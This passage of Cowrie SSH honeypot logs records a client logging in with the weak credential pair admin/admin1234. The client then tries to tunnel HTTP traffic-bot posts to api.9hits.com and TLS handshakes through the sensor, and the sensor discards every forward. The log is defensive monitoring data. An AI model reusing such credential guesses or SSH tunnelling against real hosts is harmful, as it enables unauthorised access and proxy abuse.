deflate\\r\\n\\r\\n_=QEM%2BfWUqRDdYS2Z2NTlKMw%3D%3DKErbFTj%2BX0AvKOBiZXPm6m%2FzD1qRMyiw2iqI28vmvLVw7rNEBEXH6yUXLTUNetwRvP94v42JVtB2ie58Z%2FbTdukk9tJpZCJvu8R00ACEif6VChNM5J6GKgMkC13wDPBNPqVDzRmfI1XUzoSv8DgjP3YBccDvLf6ZTRU03oCBuKammbpMn6KfasB%2BBW%2BxX3ZatoergRqYudkh7eyIwGpf4VElV8rnx6zDVIeOvNmiErEAwU3%2BL1e1BIa44FeQ7kQkEPX%2FJisumuqFKGnNuZjd%2BWGzzx97B6kFoqKrKzMTb5uc8Zw9wp6l7VYSzMJdBXuASFrhQvA2kZIBFgR7ML5EgaGLw1pwJMliciAVOgS0yYEe4RF%2BPaRc82rGZ1I7uh%2FwL%2FYnXSDlz45QxkK6yejF7biGruKnL1R2iFfoiX5iRIKOiMIDrhRMG65BycBi2TLgpCZrZcpdRaw9enc%2B82JLKtrpBBpvrnKSqg7Y0rGy1P0PNcBZDMt0QLkS6Jdp4OhTiFU4vvx2TxQlkKej23EF1khCqLb%2BZ7kU6uX7mIPs1FjpOrWgN86Li%2B1jOFPP1GPeILemBKgg%2BDpIwARoo7IP6aZ676h4f2qjFB9%2F%2F%2BJ2sgS85ZI%2Boh1PAWXjyBr0wcSukMHFom%2BXJhdolkzJGOP9uEzZsuhy03mw7R1kUZIAW%2BhJ92TgcbY0OnOl7Xwh77ekrD6DCca3Apz%2FG7w2umngs45C%2FJ%2BRq%2F0fY1Vq7UOgMrpP%2BZUmzf4hBefG%2Bxbm%2FOWX6SH4nmIY9nGZboawOvt1g73L9tbzxRoLhG%2BNuvaj0ER%2FDdfQ3vZbbN9XS%2FKWUjs2zT%2F8ATBAmHuOZ3jZpjvi2tuVJUBXqQVM%2BsXLsOaRpI%2BEW6xrlVE9kBT4cYV4OzibVqe%2FaWuVn9flTTkoGqOcKrVsuLi6cdSWmGwKIpcufWGc7q124GV2tbwIln%2Bg8AG0KlnJAG5LYWudo1f%2B%2FtGL22m51oRmZIToW0QQAZzMi02GtSYAToKWwaRxL6W%2BNnWSz7%2FF3RTVkOsW0HiVbS2h5lJhh57Eyqyfzddhz%2FGUL58NzPt2K4CA%2F0GaWRj1UvDf'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1204\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.1.1; BroadSign Xpress 1.0.15-6 B- (720) Build/JRO03H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QEM%2BfWUqRDdYS2Z2NTlKMw%3D%3DKErbFTj%2BX0AvKOBiZXPm6m%2FzD1qRMyiw2iqI28vmvLVw7rNEBEXH6yUXLTUNetwRvP94v42JVtB2ie58Z%2FbTdukk9tJpZCJvu8R00ACEif6VChNM5J6GKgMkC13wDPBNPqVDzRmfI1XUzoSv8DgjP3YBccDvLf6ZTRU03oCBuKammbpMn6KfasB%2BBW%2BxX3ZatoergRqYudkh7eyIwGpf4VElV8rnx6zDVIeOvNmiErEAwU3%2BL1e1BIa44FeQ7kQkEPX%2FJisumuqFKGnNuZjd%2BWGzzx97B6kFoqKrKzMTb5uc8Zw9wp6l7VYSzMJdBXuASFrhQvA2kZIBFgR7ML5EgaGLw1pwJMliciAVOgS0yYEe4RF%2BPaRc82rGZ1I7uh%2FwL%2FYnXSDlz45QxkK6yejF7biGruKnL1R2iFfoiX5iRIKOiMIDrhRMG65BycBi2TLgpCZrZcpdRaw9enc%2B82JLKtrpBBpvrnKSqg7Y0rGy1P0PNcBZDMt0QLkS6Jdp4OhTiFU4vvx2TxQlkKej23EF1khCqLb%2BZ7kU6uX7mIPs1FjpOrWgN86Li%2B1jOFPP1GPeILemBKgg%2BDpIwARoo7IP6aZ676h4f2qjFB9%2F%2F%2BJ2sgS85ZI%2Boh1PAWXjyBr0wcSukMHFom%2BXJhdolkzJGOP9uEzZsuhy03mw7R1kUZIAW%2BhJ92TgcbY0OnOl7Xwh77ekrD6DCca3Apz%2FG7w2umngs45C%2FJ%2BRq%2F0fY1Vq7UOgMrpP%2BZUmzf4hBefG%2Bxbm%2FOWX6SH4nmIY9nGZboawOvt1g73L9tbzxRoLhG%2BNuvaj0ER%2FDdfQ3vZbbN9XS%2FKWUjs2zT%2F8ATBAmHuOZ3jZpjvi2tuVJUBXqQVM%2BsXLsOaRpI%2BEW6xrlVE9kBT4cYV4OzibVqe%2FaWuVn9flTTkoGqOcKrVsuLi6cdSWmGwKIpcufWGc7q124GV2tbwIln%2Bg8AG0KlnJAG5LYWudo1f%2B%2FtGL22m51oRmZIToW0QQAZzMi02GtSYAToKWwaRxL6W%2BNnWSz7%2FF3RTVkOsW0HiVbS2h5lJhh57Eyqyfzddhz%2FGUL58NzPt2K4CA%2F0GaWRj1UvDf'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:47.738159Z","src_ip":"23.148.145.132","session":"81ae24d7f43f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.8","message":"Connection lost after 30.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:48.844834Z","src_ip":"23.175.50.51","session":"4718519e7e3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50634,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed25288cb535","protocol":"ssh","message":"New connection: 123.27.168.40:50634 (10.17.0.5:22) [session: ed25288cb535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:49.363969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:49.368704Z","src_ip":"123.27.168.40","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:49.618629Z","src_ip":"123.27.168.40","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:50.682413Z","src_ip":"123.27.168.40","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:51.059068Z","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:51.179863Z","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:51.302840Z","src_ip":"123.27.168.40","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.3.1 Mobile/16F203 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=X0B9NkpnMm5NUTd3I0t9eg%3D%3Dh3UiHx0Fs8Oz2b1OMFthQiD5V5qdqsiI0fblmc8ZsP6C86a0OH3HEfxYKze5jodNWcVGqrFhN01tglv%2FWOtSo2NmYxo8WpXXEn9u5ftzo5kJhJvry7lgVzLkkmHF956JGSB4bgiT8BWFZOSFSPln%2F09CXOLZ%2FEHE7b4sfyAvg1jsyIKL2C7dwc674ZDUO00Oe9%2Fnz9mT2JQPicclv%2BYLY%2F4xo%2FaKL1TQVtiSHYsy8NHSlQQGlnEZ4SlGluDnx3gpfJ5oWyEZgpli%2BWSuCNwJVjwZ6EjICsSVBTX7teziWsYble2bJ0dK5yhc72Zk1zGcT7VuCf0%2Br6e427Qhw9L5niLl%2BPQ1xU6DFWIn0ne8t7DHaMlMqOdq%2FMHAmkSTAUA3syP7NIAFAqbxGucdTKMB5D3o%2F3f6MWflYE3wspyQTW7kOnb%2FtfdCagoY%2F54ixsLqHZFdehPPP%2Fpeq4xKTBD%2FU1y9PiiD8LDLQrDJw1zf36w9p3uLWesmb8RhYFmyJytuA2frZVWXKZ3X0vUA931fxnd4Y6PaW1bctC7iUY4bRIBUp1QvP0wMTGcHuhei4Jw%2F3dCDh4sc35IO68fVviZahWYDHB3lXCtxejcodI1PI6a7Q9zOlJWVtnC5NZg2T2oJv2N4DFEGmYW6HPrI%2FEulC%2FWTOHpQKmFW%2BrT%2Fq2SXQMxT0faPfj9SllJ7xoAPNDZ8yOjzQpqfqdBieebhPxy4ohhH1dHiipjO%2FhGoWaITZsK6q6s5egshhtyKcTp%2Bo7oH85jqiS8Ka%2FNVs0dfQX2HIbajxYzl9WPAFDbZuE8%2FR49dz2%2BSMTPOkfYA72IAw9HAuRUQH2FxDqN3HlAKQjeYNOmgMYPmPC%2FfbrypY2WvG2v6BLUbr55Mokh2%2FBq5U%2FSDoencZpdDDRsknFXViAjyIdcFgS6Q1MpWypWC8n5rp3iU5hrTLghi5860aMXf9fZCMGRfU2paM4LmdahfhCLnQ%2B9u4HcRnpRCPUz9a8kPHESKIq3he%2FSFXZIdgfNnndFhGKBTu9Q1jcNjt61F7ps9FVAy3sdb5vh3XvR216bfZYY%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.3.1 Mobile/16F203 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=X0B9NkpnMm5NUTd3I0t9eg%3D%3Dh3UiHx0Fs8Oz2b1OMFthQiD5V5qdqsiI0fblmc8ZsP6C86a0OH3HEfxYKze5jodNWcVGqrFhN01tglv%2FWOtSo2NmYxo8WpXXEn9u5ftzo5kJhJvry7lgVzLkkmHF956JGSB4bgiT8BWFZOSFSPln%2F09CXOLZ%2FEHE7b4sfyAvg1jsyIKL2C7dwc674ZDUO00Oe9%2Fnz9mT2JQPicclv%2BYLY%2F4xo%2FaKL1TQVtiSHYsy8NHSlQQGlnEZ4SlGluDnx3gpfJ5oWyEZgpli%2BWSuCNwJVjwZ6EjICsSVBTX7teziWsYble2bJ0dK5yhc72Zk1zGcT7VuCf0%2Br6e427Qhw9L5niLl%2BPQ1xU6DFWIn0ne8t7DHaMlMqOdq%2FMHAmkSTAUA3syP7NIAFAqbxGucdTKMB5D3o%2F3f6MWflYE3wspyQTW7kOnb%2FtfdCagoY%2F54ixsLqHZFdehPPP%2Fpeq4xKTBD%2FU1y9PiiD8LDLQrDJw1zf36w9p3uLWesmb8RhYFmyJytuA2frZVWXKZ3X0vUA931fxnd4Y6PaW1bctC7iUY4bRIBUp1QvP0wMTGcHuhei4Jw%2F3dCDh4sc35IO68fVviZahWYDHB3lXCtxejcodI1PI6a7Q9zOlJWVtnC5NZg2T2oJv2N4DFEGmYW6HPrI%2FEulC%2FWTOHpQKmFW%2BrT%2Fq2SXQMxT0faPfj9SllJ7xoAPNDZ8yOjzQpqfqdBieebhPxy4ohhH1dHiipjO%2FhGoWaITZsK6q6s5egshhtyKcTp%2Bo7oH85jqiS8Ka%2FNVs0dfQX2HIbajxYzl9WPAFDbZuE8%2FR49dz2%2BSMTPOkfYA72IAw9HAuRUQH2FxDqN3HlAKQjeYNOmgMYPmPC%2FfbrypY2WvG2v6BLUbr55Mokh2%2FBq5U%2FSDoencZpdDDRsknFXViAjyIdcFgS6Q1MpWypWC8n5rp3iU5hrTLghi5860aMXf9fZCMGRfU2paM4LmdahfhCLnQ%2B9u4HcRnpRCPUz9a8kPHESKIq3he%2FSFXZIdgfNnndFhGKBTu9Q1jcNjt61F7ps9FVAy3sdb5vh3XvR216bfZYY%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:51.305785Z","src_ip":"123.27.168.40","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:51.540187Z","src_ip":"123.27.168.40","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03qQ\\xa8\\xf4\\xacB\\x1a\\xc2ef\\tT\\x9c\\xaf\\xdbe\\xeb\\xf6\\xab\\xc9z\\xf4\\\\\\xfa\\xe6\\x16\\xb3 t=\\xc2V S)\\x9cV\\xcd\\xa2\\xba\\xea \\xd39:c\\xd5\\t\\xf1O\\xcfc\\x0e\\x1b\\x17\\xf2\\x12\\xb70\\xea\\x02K\\x88\\xb8\\x8d\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 1Zn\\xe8\\xa8\\xf5?K\\xe1?\\x83B<?\\xeb\\xda\\xf1\\xd5\\xc7\\xad}\\xf3\\x15-|\\n\\x89'\\t\\x93\\xa9B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03qQ\\xa8\\xf4\\xacB\\x1a\\xc2ef\\tT\\x9c\\xaf\\xdbe\\xeb\\xf6\\xab\\xc9z\\xf4\\\\\\xfa\\xe6\\x16\\xb3 t=\\xc2V S)\\x9cV\\xcd\\xa2\\xba\\xea \\xd39:c\\xd5\\t\\xf1O\\xcfc\\x0e\\x1b\\x17\\xf2\\x12\\xb70\\xea\\x02K\\x88\\xb8\\x8d\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 1Zn\\xe8\\xa8\\xf5?K\\xe1?\\x83B<?\\xeb\\xda\\xf1\\xd5\\xc7\\xad}\\xf3\\x15-|\\n\\x89'\\t\\x93\\xa9B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:51.543449Z","src_ip":"123.27.168.40","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:52.017906Z","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:52.259022Z","src_ip":"123.27.168.40","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`\\xc8R\\x17S\\xb9\\x93\\x95\\x1c\"\\xc3\\xd8{\\xe6\\x8dR\\x17Ne:{\\xa6c\\x87x\\xd3B\\xcd\\xcaR\\xc6\\xe1 Jh,\\xbf1P<\\xc0,0\\xa2\\xf3\\x13g\\xf0s\\x85\\xff5\\xdb\\xeb\\x8e~\\xd0|\\xee\\x9d\\xae\\x84\\xf9\\xe7>\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 2\\xce\\x12c\\xc7\\xa8)\\xa6cg\\x87\\n\\x07\\xa9a1nPa\\xb8\\x1b\\xf9o\\xbc\\xafw\\x87\\x8dl\\xd7Fm\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`\\xc8R\\x17S\\xb9\\x93\\x95\\x1c\"\\xc3\\xd8{\\xe6\\x8dR\\x17Ne:{\\xa6c\\x87x\\xd3B\\xcd\\xcaR\\xc6\\xe1 